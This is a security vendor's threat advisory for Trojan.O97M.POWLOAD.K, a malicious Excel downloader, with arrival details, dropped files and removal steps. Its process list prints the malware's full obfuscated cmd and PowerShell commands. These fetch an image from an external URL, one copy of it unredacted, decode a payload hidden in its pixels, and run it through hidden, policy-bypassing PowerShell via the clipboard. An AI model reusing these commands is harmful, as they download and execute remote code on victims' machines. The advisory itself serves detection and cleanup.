Trojan.O97M.POWLOAD.K
Trojan-Downloader.MSExcel.Agent.jt (MICROSOFT)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
64,512 bytes
XLS
No
11 Dec 2024
Connects to URLs/IPs, Drops files
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %User Temp%\{random}.{random}.ps1 → deleted afterwards
- %User Temp%\{random}.{random}.psm1 → deleted afterwards
(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following processes:
- cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
- cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"
- C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "
- c:\wIndOws\SyStem32\CliP.ExE
- CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
- powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
Other Details
This Trojan connects to the following possibly malicious URL:
- https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png
SOLUTION
9.800
19.782.03
17 Dec 2024
19.783.00
18 Dec 2024
Step 1
Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:
- Downloader.VBA.TRX.XXVBAF01FF059
Step 2
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 3
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 4
Search and delete this file
- %User Temp%\{random}.{random}.ps1
- %User Temp%\{random}.{random}.psm1
Step 5
Scan your computer with your Trend Micro product to delete files detected as Trojan.O97M.POWLOAD.K. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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